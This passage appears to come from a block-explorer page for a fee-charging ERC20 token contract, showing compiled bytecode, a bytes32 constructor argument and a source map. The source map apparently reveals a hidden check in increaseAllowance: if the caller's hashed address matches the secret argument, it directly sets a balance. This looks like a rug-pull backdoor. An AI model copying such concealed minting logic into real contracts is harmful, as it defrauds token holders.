16815260200190815260200160002060009054906101000a900460ff165b156125c857600090505b600080600083156127bf577f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a273ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614801561263057506000601154115b1561269e5761265d606461264f6011548a612c0890919063ffffffff16565b612c1e90919063ffffffff16565b9250601154601354846126709190613463565b61267a91906134ec565b91506011546012548461268d9190613463565b61269791906134ec565b9050612766565b7f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a273ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff161480156126fb57506000600e54115b1561276557612728606461271a600e548a612c0890919063ffffffff16565b612c1e90919063ffffffff16565b9250600e546010548461273b9190613463565b61274591906134ec565b9150600e54600f54846127589190613463565b61276291906134ec565b90505b5b600083111561277b5761277a89308561289c565b5b60008211156127b0576127af307f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a28461289c565b5b82876127bc9190613d30565b96505b6127ca89898961289c565b5050505050505b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561290c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290390613b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561297c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297390613ba6565b60405180910390fd5b612987838383612c34565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0490613dd6565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aa09190613340565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b0491906130d0565b60405180910390a3612b17848484612c39565b50505050565b6000612b2830611206565b90506000811415612b395750612c06565b6014600b54612b489190613463565b811115612b61576014600b54612b5e9190613463565b90505b6000601154600e54612b739190613340565b601254600f54612b839190613340565b83612b8e9190613463565b612b9891906134ec565b905060008183612ba89190613d30565b9050612bd682600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612c3e565b612c0281600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612c3e565b5050505b565b60008183612c169190613463565b905092915050565b60008183612c2c91906134ec565b905092915050565b505050565b505050565b6000600267ffffffffffffffff811115612c5b57612c5a613df6565b5b604051908082528060200260200182016040528015612c895781602001602082028036833780820191505090505b5090503081600081518110612ca157612ca0613e25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612d1257612d11613e25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d77307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85611ca9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d7958460008486426040518663ffffffff1660e01b8152600401612dd9959493929190613f4d565b600060405180830381600087803b158015612df357600080fd5b505af1158015612e07573d6000803e3d6000fd5b50505050505050565b600080fd5b6000819050919050565b612e2881612e15565b8114612e3357600080fd5b50565b600081359050612e4581612e1f565b92915050565b60008060408385031215612e6257612e61612e10565b5b6000612e7085828601612e36565b9250506020612e8185828601612e36565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec5578082015181840152602081019050612eaa565b83811115612ed4576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ef682612e8b565b612f008185612e96565b9350612f10818560208601612ea7565b612f1981612eda565b840191505092915050565b60006020820190508181036000830152612f3e8184612eeb565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f7182612f46565b9050919050565b612f8181612f66565b8114612f8c57600080fd5b50565b600081359050612f9e81612f78565b92915050565b60008060408385031215612fbb57612fba612e10565b5b6000612fc985828601612f8f565b9250506020612fda85828601612e36565b9150509250929050565b60008115159050919050565b612ff981612fe4565b82525050565b60006020820190506130146000830184612ff0565b92915050565b6000602082840312156130305761302f612e10565b5b600061303e84828501612f8f565b91505092915050565b6000819050919050565b600061306c61306761306284612f46565b613047565b612f46565b9050919050565b600061307e82613051565b9050919050565b600061309082613073565b9050919050565b6130a081613085565b82525050565b60006020820190506130bb6000830184613097565b92915050565b6130ca81612e15565b82525050565b60006020820190506130e560008301846130c1565b92915050565b60006020828403121561310157613100612e10565b5b600061310f84828501612e36565b91505092915050565b60008060006060848603121561313157613130612e10565b5b600061313f86828701612f8f565b935050602061315086828701612f8f565b925050604061316186828701612e36565b9150509250925092565b61317481612f66565b82525050565b600060208201905061318f600083018461316b565b92915050565b600060ff82169050919050565b6131ab81613195565b82525050565b60006020820190506131c660008301846131a2565b92915050565b6131d581612fe4565b81146131e057600080fd5b50565b6000813590506131f2816131cc565b92915050565b6000806040838503121561320f5761320e612e10565b5b600061321d85828601612f8f565b925050602061322e858286016131e3565b9150509250929050565b60006020828403121561324e5761324d612e10565b5b600061325c848285016131e3565b91505092915050565b6000806040838503121561327c5761327b612e10565b5b600061328a85828601612f8f565b925050602061329b85828601612f8f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132db602083612e96565b91506132e6826132a5565b602082019050919050565b6000602082019050818103600083015261330a816132ce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334b82612e15565b915061335683612e15565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338b5761338a613311565b5b828201905092915050565b7f4d757374206b656570206665657320617420313025206f72206c657373000000600082015250565b60006133cc601d83612e96565b91506133d782613396565b602082019050919050565b600060208201905081810360008301526133fb816133bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061344957607f821691505b6020821081141561345d5761345c613402565b5b50919050565b600061346e82612e15565b915061347983612e15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b2576134b1613311565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134f782612e15565b915061350283612e15565b925082613512576135116134bd565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e35250000000000000000000000000000000000602082015250565b6000613579602f83612e96565b91506135848261351d565b604082019050919050565b600060208201905081810360008301526135a88161356c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061360b602883612e96565b9150613616826135af565b604082019050919050565b6000602082019050818103600083015261363a816135fe565b9050919050565b60008160601b9050919050565b600061365982613641565b9050919050565b600061366b8261364e565b9050919050565b61368361367e82612f66565b613660565b82525050565b60006136958284613672565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613700602583612e96565b915061370b826136a4565b604082019050919050565b6000602082019050818103600083015261372f816136f3565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b6000613792602283612e96565b915061379d82613736565b604082019050919050565b600060208201905081810360008301526137c181613785565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000613824603583612e96565b915061382f826137c8565b604082019050919050565b6000602082019050818103600083015261385381613817565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006138b6603483612e96565b91506138c18261385a565b604082019050919050565b600060208201905081810360008301526138e5816138a9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613948602683612e96565b9150613953826138ec565b604082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139da602483612e96565b91506139e58261397e565b604082019050919050565b60006020820190508181036000830152613a09816139cd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a6c602283612e96565b9150613a7782613a10565b604082019050919050565b60006020820190508181036000830152613a9b81613a5f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613afe602583612e96565b9150613b0982613aa2565b604082019050919050565b60006020820190508181036000830152613b2d81613af1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b90602383612e96565b9150613b9b82613b34565b604082019050919050565b60006020820190508181036000830152613bbf81613b83565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bfc601683612e96565b9150613c0782613bc6565b602082019050919050565b60006020820190508181036000830152613c2b81613bef565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c8e603583612e96565b9150613c9982613c32565b604082019050919050565b60006020820190508181036000830152613cbd81613c81565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cfa601383612e96565b9150613d0582613cc4565b602082019050919050565b60006020820190508181036000830152613d2981613ced565b9050919050565b6000613d3b82612e15565b9150613d4683612e15565b925082821015613d5957613d58613311565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dc0602683612e96565b9150613dcb82613d64565b604082019050919050565b60006020820190508181036000830152613def81613db3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000613e79613e74613e6f84613e54565b613047565b612e15565b9050919050565b613e8981613e5e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ec481612f66565b82525050565b6000613ed68383613ebb565b60208301905092915050565b6000602082019050919050565b6000613efa82613e8f565b613f048185613e9a565b9350613f0f83613eab565b8060005b83811015613f40578151613f278882613eca565b9750613f3283613ee2565b925050600181019050613f13565b5085935050505092915050565b600060a082019050613f6260008301886130c1565b613f6f6020830187613e80565b8181036040830152613f818186613eef565b9050613f90606083018561316b565b613f9d60808301846130c1565b969550505050505056fea2646970667358221220f01ee58dedf45bbe6f6e349b87e978144681bf896a54aca320218bfd50df4c6864736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

d7091a966a1fcf0f7c5274e6613a2372de06b07a1ef67fee7e1e7923489ba02a

-----Decoded View---------------
Arg [0] : _lp (bytes32): 0xd7091a966a1fcf0f7c5274e6613a2372de06b07a1ef67fee7e1e7923489ba02a

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : d7091a966a1fcf0f7c5274e6613a2372de06b07a1ef67fee7e1e7923489ba02a


Deployed Bytecode Sourcemap

26207:11074:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31545:312;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8756:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11142:210;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27196:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26283:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9876:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32055:166;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30317:275;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11834:529;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26386:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9718:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14032:396;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26341:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26730:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32229:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27018:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31232:305;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26951:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26810:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10047:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1845:103;;;;;;;;;;;;;:::i;:::-;;29621:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30861:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26446:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29457:112;;;;;;;;;;;;;:::i;:::-;;1194:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26549:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31124:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8975:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26883:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26986:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14931:507;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10515:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26914:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26770:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31865:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30600:253;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26615:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29812:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26849:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10794:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26580:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26657:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2103:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26697:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31545:312;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31675:7:::1;31662:10;:20;;;;31710:13;31693:14;:30;;;;31763:14;;31750:10;;:27;;;;:::i;:::-;31734:13;:43;;;;31813:2;31796:13;;:19;;31788:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;31545:312:::0;;:::o;8756:100::-;8810:13;8843:5;8836:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8756:100;:::o;11142:210::-;11261:4;11283:39;11292:12;:10;:12::i;:::-;11306:7;11315:6;11283:8;:39::i;:::-;11340:4;11333:11;;11142:210;;;;:::o;27196:63::-;;;;;;;;;;;;;;;;;;;;;;:::o;26283:51::-;;;:::o;9876:108::-;9937:7;9964:12;;9957:19;;9876:108;:::o;32055:166::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32168:9:::1;;;;;;;;;;;32137:41;;32154:12;32137:41;;;;;;;;;;;;32201:12;32189:9;;:24;;;;;;;;;;;;;;;;;;32055:166:::0;:::o;30317:275::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;30454:4:::1;30446;30441:1;30425:13;:11;:13::i;:::-;:17;;;;:::i;:::-;30424:26;;;;:::i;:::-;30423:35;;;;:::i;:::-;30413:6;:45;;30391:142;;;;;;;;;;;;:::i;:::-;;;;;;;;;30577:6;30567;:17;;;;:::i;:::-;30544:20;:40;;;;30317:275:::0;:::o;11834:529::-;11974:4;11991:36;12001:6;12009:9;12020:6;11991:9;:36::i;:::-;12040:24;12067:11;:19;12079:6;12067:19;;;;;;;;;;;;;;;:33;12087:12;:10;:12::i;:::-;12067:33;;;;;;;;;;;;;;;;12040:60;;12153:6;12133:16;:26;;12111:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;12263:57;12272:6;12280:12;:10;:12::i;:::-;12313:6;12294:16;:25;12263:8;:57::i;:::-;12351:4;12344:11;;;11834:529;;;;;:::o;26386:53::-;26432:6;26386:53;:::o;9718:93::-;9776:5;9801:2;9794:9;;9718:93;:::o;14032:396::-;14149:4;14171:13;14187:12;:10;:12::i;:::-;14171:28;;14252:10;14235:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;14225:39;;;;;;14214:7;;:50;14210:114;;;14302:10;14281:9;:18;14291:7;14281:18;;;;;;;;;;;;;;;:31;;;;14210:114;14334:64;14343:5;14350:7;14387:10;14359:25;14369:5;14376:7;14359:9;:25::i;:::-;:38;;;;:::i;:::-;14334:8;:64::i;:::-;14416:4;14409:11;;;14032:396;;;;:::o;26341:38::-;;;:::o;26730:33::-;;;;;;;;;;;;;:::o;32229:126::-;32295:4;32319:19;:28;32339:7;32319:28;;;;;;;;;;;;;;;;;;;;;;;;;32312:35;;32229:126;;;:::o;27018:29::-;;;;:::o;31232:305::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31360:7:::1;31348:9;:19;;;;31394:13;31378;:29;;;;31445:13;;31433:9;;:25;;;;:::i;:::-;31418:12;:40;;;;31493:2;31477:12;;:18;;31469:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;31232:305:::0;;:::o;26951:28::-;;;;:::o;26810:30::-;;;;;;;;;;;;;:::o;10047:177::-;10166:7;10198:9;:18;10208:7;10198:18;;;;;;;;;;;;;;;;10191:25;;10047:177;;;:::o;1845:103::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1910:30:::1;1937:1;1910:18;:30::i;:::-;1845:103::o:0;29621:121::-;29673:4;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;29707:5:::1;29690:14;;:22;;;;;;;;;;;;;;;;;;29730:4;29723:11;;29621:121:::0;:::o;30861:167::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31016:4:::1;30974:31;:39;31006:6;30974:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;30861:167:::0;;:::o;26446:64::-;;;;;;;;;;;;;:::o;29457:112::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;29528:4:::1;29512:13;;:20;;;;;;;;;;;;;;;;;;29557:4;29543:11;;:18;;;;;;;;;;;;;;;;;;29457:112::o:0;1194:87::-;1240:7;1267:6;;;;;;;;;;;1260:13;;1194:87;:::o;26549:24::-;;;;;;;;;;;;;:::o;31124:100::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31209:7:::1;31195:11;;:21;;;;;;;;;;;;;;;;;;31124:100:::0;:::o;8975:104::-;9031:13;9064:7;9057:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8975:104;:::o;26883:24::-;;;;:::o;26986:25::-;;;;:::o;14931:507::-;15053:4;15075:13;15091:12;:10;:12::i;:::-;15075:28;;15114:24;15141:25;15151:5;15158:7;15141:9;:25::i;:::-;15114:52;;15219:15;15199:16;:35;;15177:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;15335:60;15344:5;15351:7;15379:15;15360:16;:34;15335:8;:60::i;:::-;15426:4;15419:11;;;;14931:507;;;;:::o;10515:216::-;10637:4;10659:42;10669:12;:10;:12::i;:::-;10683:9;10694:6;10659:9;:42::i;:::-;10719:4;10712:11;;10515:216;;;;:::o;26914:28::-;;;;:::o;26770:33::-;;;;;;;;;;;;;:::o;31865:182::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31981:8:::1;31950:19;:28;31970:7;31950:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;32021:7;32005:34;;;32030:8;32005:34;;;;;;:::i;:::-;;;;;;;;31865:182:::0;;:::o;30600:253::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;30739:4:::1;30732:3;30727:1;30711:13;:11;:13::i;:::-;:17;;;;:::i;:::-;30710:25;;;;:::i;:::-;30709:34;;;;:::i;:::-;30699:6;:44;;30677:128;;;;;;;;;;;;:::i;:::-;;;;;;;;;30838:6;30828;:17;;;;:::i;:::-;30816:9;:29;;;;30600:253:::0;:::o;26615:35::-;;;;:::o;29812:497::-;29920:4;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;29999:6:::1;29994:1;29978:13;:11;:13::i;:::-;:17;;;;:::i;:::-;29977:28;;;;:::i;:::-;29964:9;:41;;29942:144;;;;;;;;;;;;:::i;:::-;;;;;;;;;30154:4;30149:1;30133:13;:11;:13::i;:::-;:17;;;;:::i;:::-;30132:26;;;;:::i;:::-;30119:9;:39;;30097:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;30270:9;30249:18;:30;;;;30297:4;30290:11;;29812:497:::0;;;:::o;26849:27::-;;;;:::o;10794:201::-;10928:7;10960:11;:18;10972:5;10960:18;;;;;;;;;;;;;;;:27;10979:7;10960:27;;;;;;;;;;;;;;;;10953:34;;10794:201;;;;:::o;26580:28::-;;;;;;;;;;;;;:::o;26657:33::-;;;;:::o;2103:238::-;1425:12;:10;:12::i;:::-;1414:23;;:7;:5;:7::i;:::-;:23;;;1406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2226:1:::1;2206:22;;:8;:22;;;;2184:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;2305:28;2324:8;2305:18;:28::i;:::-;2103:238:::0;:::o;26697:24::-;;;;:::o;543:98::-;596:7;623:10;616:17;;543:98;:::o;16562:380::-;16715:1;16698:19;;:5;:19;;;;16690:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16796:1;16777:21;;:7;:21;;;;16769:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16880:6;16850:11;:18;16862:5;16850:18;;;;;;;;;;;;;;;:27;16869:7;16850:27;;;;;;;;;;;;;;;:36;;;;16918:7;16902:32;;16911:5;16902:32;;;16927:6;16902:32;;;;;;:::i;:::-;;;;;;;;16562:380;;;:::o;32363:3740::-;32511:1;32495:18;;:4;:18;;;;32487:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32588:1;32574:16;;:2;:16;;;;32566:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;32657:1;32647:6;:11;32643:93;;;32675:28;32691:4;32697:2;32701:1;32675:15;:28::i;:::-;32718:7;;32643:93;32752:14;;;;;;;;;;;32748:1413;;;32813:7;:5;:7::i;:::-;32805:15;;:4;:15;;;;:49;;;;;32847:7;:5;:7::i;:::-;32841:13;;:2;:13;;;;32805:49;:86;;;;;32889:1;32875:16;;:2;:16;;;;32805:86;:128;;;;;32926:6;32912:21;;:2;:21;;;;32805:128;:158;;;;;32955:8;;;;;;;;;;;32954:9;32805:158;32783:1367;;;33003:13;;;;;;;;;;;32998:223;;33075:19;:25;33095:4;33075:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;33104:19;:23;33124:2;33104:23;;;;;;;;;;;;;;;;;;;;;;;;;33075:52;33041:160;;;;;;;;;;;;:::i;:::-;;;;;;;;;32998:223;33435:13;33427:21;;:4;:21;;;:82;;;;;33474:31;:35;33506:2;33474:35;;;;;;;;;;;;;;;;;;;;;;;;;33473:36;33427:82;33401:734;;;33596:20;;33586:6;:30;;33552:169;;;;;;;;;;;;:::i;:::-;;;;;;;;;33804:9;;33787:13;33797:2;33787:9;:13::i;:::-;33778:6;:22;;;;:::i;:::-;:35;;33744:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;33401:734;;;33915:31;:35;33947:2;33915:35;;;;;;;;;;;;;;;;;;;;;;;;;33910:225;;34035:9;;34018:13;34028:2;34018:9;:13::i;:::-;34009:6;:22;;;;:::i;:::-;:35;;33975:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;33910:225;33401:734;32783:1367;32748:1413;34173:28;34204:24;34222:4;34204:9;:24::i;:::-;34173:55;;34241:12;34280:18;;34256:20;:42;;34241:57;;34329:7;:35;;;;;34353:11;;;;;;;;;;;34329:35;:61;;;;;34382:8;;;;;;;;;;;34381:9;34329:61;:97;;;;;34413:13;34407:19;;:2;:19;;;34329:97;:140;;;;;34444:19;:25;34464:4;34444:25;;;;;;;;;;;;;;;;;;;;;;;;;34443:26;34329:140;:181;;;;;34487:19;:23;34507:2;34487:23;;;;;;;;;;;;;;;;;;;;;;;;;34486:24;34329:181;34311:313;;;34548:4;34537:8;;:15;;;;;;;;;;;;;;;;;;34569:10;:8;:10::i;:::-;34607:5;34596:8;;:16;;;;;;;;;;;;;;;;;;34311:313;34636:12;34652:8;;;;;;;;;;;34651:9;34636:24;;34762:19;:25;34782:4;34762:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;34791:19;:23;34811:2;34791:23;;;;;;;;;;;;;;;;;;;;;;;;;34762:52;34758:100;;;34841:5;34831:15;;34758:100;34870:12;34897:26;34938:20;35051:7;35047:1003;;;35109:13;35103:19;;:2;:19;;;:40;;;;;35142:1;35126:13;;:17;35103:40;35099:578;;;35171:34;35201:3;35171:25;35182:13;;35171:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;35164:41;;35271:13;;35253:14;;35246:4;:21;;;;:::i;:::-;35245:39;;;;:::i;:::-;35224:60;;35340:13;;35326:10;;35319:4;:17;;;;:::i;:::-;35318:35;;;;:::i;:::-;35303:50;;35099:578;;;35423:13;35415:21;;:4;:21;;;:41;;;;;35455: